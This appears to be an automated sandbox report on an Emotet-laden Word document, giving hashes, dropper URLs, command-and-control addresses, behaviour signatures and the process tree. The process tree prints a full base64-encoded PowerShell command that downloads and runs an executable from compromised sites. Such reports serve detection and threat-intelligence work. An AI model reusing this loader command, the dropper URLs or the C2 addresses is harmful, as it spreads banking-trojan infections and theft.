emotet | 67ee6f747c83059de4396db3a5d60ddcf514b89242bf5d54984f97f7356d0116

General

Target

emotet_e2_9f2306a008ace553feff42b564357d88b3b95c555fdc7bfaabcbfad8d4d8aef2_2020-09-19__170826676011..doc
Size

180KB
MD5

8f64aa215132df686c2d0a3dc635b161
SHA1

1a93c870e9b4bf7fc82aaadd4c95eb9237795bef
SHA256

67ee6f747c83059de4396db3a5d60ddcf514b89242bf5d54984f97f7356d0116
SHA512

2532b2e849c242a1d74ebbe755565695cbb2c0d0f0d6c343d9f8dcf7525f704eafab306feb675745acdff897f8a4b438af398124aa64362688e974d616839f3b

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://santyago.org/wp-content/0mcYS6/

exe.dropper

http://dandyair.com/font-awesome/rOOAL/

exe.dropper

https://www.tekadbatam.com/wp-content/AUiw/

exe.dropper

http://kellymorganscience.com/wp-content/SCsWM/

exe.dropper

https://tewoerd.eu/img/DALSKE/

exe.dropper

http://mediainmedia.com/plugin_opencart2.3-master/Atye/

exe.dropper

http://nuwagi.com/old/XLGjc/

Extracted

Family

emotet

C2

71.72.196.159:80

134.209.36.254:8080

120.138.30.150:8080

94.23.216.33:80

157.245.99.39:8080

137.59.187.107:8080

94.23.237.171:443

61.19.246.238:443

156.155.166.221:80

50.35.17.13:80

153.137.36.142:80

91.211.88.52:7080

209.141.54.221:8080

185.94.252.104:443

174.45.13.118:80

87.106.136.232:8080

62.75.141.82:80

213.196.135.145:80

188.219.31.12:80

82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3980 736 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3980	736	powershell.exe

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/1084-12-0x0000000000500000-0x0000000000512000-memory.dmp	emotet
behavioral2/memory/1084-12-0x0000000000500000-0x0000000000512000-memory.dmp	emotet
behavioral2/memory/1084-13-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1084-13-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3564-16-0x00000000005F0000-0x0000000000602000-memory.dmp	emotet
behavioral2/memory/3564-16-0x00000000005F0000-0x0000000000602000-memory.dmp	emotet
behavioral2/memory/3564-17-0x0000000000500000-0x0000000000510000-memory.dmp	emotet
behavioral2/memory/3564-17-0x0000000000500000-0x0000000000510000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

21 3980 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

Dzdsyqxb.exemtxdm.exe

pid process

1084 Dzdsyqxb.exe
3564 mtxdm.exe
Drops file in System32 directory 1 IoCs

Processes:

Dzdsyqxb.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Windows.UI.Xaml.InkControls\mtxdm.exe Dzdsyqxb.exe

flow	pid	process
21	3980	powershell.exe

pid	process
1084	Dzdsyqxb.exe
3564	mtxdm.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Windows.UI.Xaml.InkControls\mtxdm.exe	Dzdsyqxb.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2096 WINWORD.EXE
2096 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exemtxdm.exe

pid process

3980 powershell.exe
3980 powershell.exe
3980 powershell.exe
3564 mtxdm.exe
3564 mtxdm.exe
3564 mtxdm.exe
3564 mtxdm.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3980 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

2096 WINWORD.EXE
2096 WINWORD.EXE
2096 WINWORD.EXE
2096 WINWORD.EXE
2096 WINWORD.EXE
2096 WINWORD.EXE
2096 WINWORD.EXE
2096 WINWORD.EXE
2096 WINWORD.EXE

pid	process
2096	WINWORD.EXE
2096	WINWORD.EXE

pid	process
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3564	mtxdm.exe
3564	mtxdm.exe
3564	mtxdm.exe
3564	mtxdm.exe

description	pid	process
Token: SeDebugPrivilege	3980	powershell.exe

pid	process
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeDzdsyqxb.exe

description	pid	process	target process
PID 3980 wrote to memory of 1084	3980	powershell.exe	Dzdsyqxb.exe
PID 3980 wrote to memory of 1084	3980	powershell.exe	Dzdsyqxb.exe
PID 3980 wrote to memory of 1084	3980	powershell.exe	Dzdsyqxb.exe
PID 1084 wrote to memory of 3564	1084	Dzdsyqxb.exe	mtxdm.exe
PID 1084 wrote to memory of 3564	1084	Dzdsyqxb.exe	mtxdm.exe
PID 1084 wrote to memory of 3564	1084	Dzdsyqxb.exe	mtxdm.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_9f2306a008ace553feff42b564357d88b3b95c555fdc7bfaabcbfad8d4d8aef2_2020-09-19__170826676011..doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABUADEAeAB5AHkAeQB4AD0AKAAoACcASwAnACsAJwBrAHkAbQAnACkAKwAoACcAXwA0ACcAKwAnAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBFAHIAUABSAE8ARgBpAEwAZQBcAHUANgB3ADcATwBfAGwAXABQAFMAagBrADMAcABOAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAEUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBjAFUAUgBpAGAAVABgAHkAUAByAG8AVABvAGMAYABvAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxADIAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAxADEAJwApACsAJwAsACcAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQARQByAG8AcwAzAGYAYwAgAD0AIAAoACgAJwBEACcAKwAnAHoAZAAnACkAKwAoACcAcwAnACsAJwB5AHEAeABiACcAKQApADsAJABHAHIAdgBuAGYAcwAzAD0AKAAoACcARAAzAGIAcwAnACsAJwBvACcAKQArACcAbQBmACcAKQA7ACQAQQBrADEAYwBkAHcAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAEYAJwArACcAeAAnACsAJwAyAFUAJwArACcANgB3ADcAbwBfAGwAJwApACsAJwBGACcAKwAoACcAeAAnACsAJwAyAFAAcwBqACcAKQArACcAawAnACsAJwAzACcAKwAnAHAAJwArACgAJwBuACcAKwAnAEYAeAAnACkAKwAnADIAJwApAC0AUgBFAHAAbABhAGMARQAgACAAKAAnAEYAeAAnACsAJwAyACcAKQAsAFsAYwBoAGEAUgBdADkAMgApACsAJABFAHIAbwBzADMAZgBjACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABZAHMAZQBtAF8AcwA0AD0AKAAoACcATgAnACsAJwBnAGMAJwApACsAJwBtADcAJwArACcAdgBrACcAKQA7ACQATgBjADIAeQAwAG8AMgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAFQALgB3AGUAYgBjAGwAaQBlAG4AdAA7ACQASAA1AHQANQA1AG8AawA9ACgAJwBoAHQAJwArACcAdAAnACsAKAAnAHAAcwA6ACcAKwAnAC8ALwBzACcAKwAnAGEAJwApACsAJwBuAHQAJwArACgAJwB5AGEAJwArACcAZwAnACkAKwAoACcAbwAuAG8AcgBnACcAKwAnAC8AJwApACsAJwB3ACcAKwAoACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACcAdAAvACcAKwAoACcAMABtACcAKwAnAGMAWQBTADYAJwApACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBkACcAKQArACcAYQAnACsAKAAnAG4AZAAnACsAJwB5ACcAKQArACcAYQBpACcAKwAnAHIALgAnACsAJwBjAG8AJwArACgAJwBtAC8AZgBvACcAKwAnAG4AdAAnACsAJwAtAGEAJwApACsAKAAnAHcAJwArACcAZQBzAG8AbQAnACkAKwAoACcAZQAvAHIAJwArACcATwAnACkAKwAoACcATwAnACsAJwBBACcAKwAnAEwALwAqAGgAdAB0ACcAKQArACgAJwBwAHMAOgAvACcAKwAnAC8AdwB3AHcALgAnACsAJwB0AGUAawAnACsAJwBhAGQAYgBhAHQAYQBtAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwAnACkAKwAoACcAbgB0ACcAKwAnAGUAJwApACsAJwBuACcAKwAnAHQALwAnACsAKAAnAEEAVQBpACcAKwAnAHcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAGsAJwArACcAZQAnACkAKwAoACcAbABsACcAKwAnAHkAJwApACsAJwBtACcAKwAoACcAbwByAGcAYQBuACcAKwAnAHMAYwAnACsAJwBpAGUAJwApACsAJwBuAGMAJwArACgAJwBlAC4AJwArACcAYwAnACkAKwAoACcAbwBtAC8AdwAnACsAJwBwAC0AYwAnACsAJwBvACcAKQArACgAJwBuAHQAJwArACcAZQAnACkAKwAoACcAbgAnACsAJwB0AC8AUwAnACkAKwAoACcAQwBzACcAKwAnAFcATQAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8AJwArACcALwB0ACcAKQArACcAZQAnACsAKAAnAHcAbwAnACsAJwBlACcAKQArACcAcgAnACsAJwBkACcAKwAnAC4AJwArACcAZQB1ACcAKwAoACcALwAnACsAJwBpAG0AZwAvAEQAQQAnACsAJwBMAFMAJwApACsAJwBLACcAKwAnAEUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAG0AZQAnACsAJwBkACcAKQArACcAaQBhACcAKwAoACcAaQBuACcAKwAnAG0AZQAnACkAKwAoACcAZABpACcAKwAnAGEAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALwAnACsAJwBwAGwAJwApACsAJwB1ACcAKwAoACcAZwBpAG4AXwBvAHAAJwArACcAZQBuACcAKQArACgAJwBjAGEAcgB0ACcAKwAnADIAJwApACsAKAAnAC4AMwAtACcAKwAnAG0AJwApACsAJwBhACcAKwAoACcAcwB0ACcAKwAnAGUAcgAvACcAKQArACgAJwBBAHQAeQAnACsAJwBlAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAbgB1AHcAYQAnACsAJwBnAGkALgBjAG8AJwArACcAbQAvAG8AbAAnACsAJwBkACcAKwAnAC8AWABMAEcAagBjAC8AJwApACkALgAiAHMAUABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUAAxAHAAZwBiAGwAagA9ACgAKAAnAFgAaQAnACsAJwA2ACcAKQArACgAJwBiACcAKwAnAGkAaQAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAWABoAHoANwBuAGsAbQAgAGkAbgAgACQASAA1AHQANQA1AG8AawApAHsAdAByAHkAewAkAE4AYwAyAHkAMABvADIALgAiAGQAbwBXAE4ATABPAGAAQQBkAGYASQBgAEwAZQAiACgAJABYAGgAegA3AG4AawBtACwAIAAkAEEAawAxAGMAZAB3AHEAKQA7ACQAWQBrADEAMABzADEAXwA9ACgAKAAnAFMAJwArACcAbgA1ADAAcAAnACkAKwAnAHAAagAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQQBrADEAYwBkAHcAcQApAC4AIgBsAGUAbgBgAEcAdABoACIAIAAtAGcAZQAgADMAMQAyADMAOQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABBAGsAMQBjAGQAdwBxACkAOwAkAFkAOAB6ADkAMABnAHgAPQAoACgAJwBJAHEAMgAnACsAJwB5ACcAKQArACgAJwAzAF8AJwArACcAawAnACkAKQA7AGIAcgBlAGEAawA7ACQAUwBvAHYANwBsAHYANwA9ACgAJwBSACcAKwAnAHMAJwArACgAJwB6ACcAKwAnAHIAawBuAHIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAdQBrAGwAYwBxAF8APQAoACgAJwBCADEAZwAnACsAJwBrACcAKQArACcAaQAnACsAJwBkADkAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3980

C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe
"C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1084

C:\Windows\SysWOW64\Windows.UI.Xaml.InkControls\mtxdm.exe
"C:\Windows\SysWOW64\Windows.UI.Xaml.InkControls\mtxdm.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3564

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe

Download Submit
C:\Users\Admin\u6w7O_l\PSjk3pN\Dzdsyqxb.exe

Download Submit
C:\Windows\SysWOW64\Windows.UI.Xaml.InkControls\mtxdm.exe

Download Submit
memory/1084-12-0x0000000000500000-0x0000000000512000-memory.dmp

Filesize
72KB

Download
memory/1084-13-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/1084-9-0x0000000000000000-mapping.dmp

Download
memory/2096-2-0x00000225D3814000-0x00000225D381B000-memory.dmp

Filesize
28KB

Download
memory/2096-4-0x00000225D3814000-0x00000225D381B000-memory.dmp

Filesize
28KB

Download
memory/2096-5-0x00000225D3814000-0x00000225D381B000-memory.dmp

Filesize
28KB

Download
memory/2096-0-0x00007FFB5AB90000-0x00007FFB5B256000-memory.dmp

Filesize
6.8MB

Download
memory/3564-14-0x0000000000000000-mapping.dmp

Download
memory/3564-16-0x00000000005F0000-0x0000000000602000-memory.dmp

Filesize
72KB

Download
memory/3564-17-0x0000000000500000-0x0000000000510000-memory.dmp

Filesize
64KB

Download
memory/3980-8-0x0000022759080000-0x0000022759081000-memory.dmp

Filesize
4KB

Download
memory/3980-7-0x0000022758ED0000-0x0000022758ED1000-memory.dmp

Filesize
4KB

Download
memory/3980-6-0x00007FFB53650000-0x00007FFB5403C000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads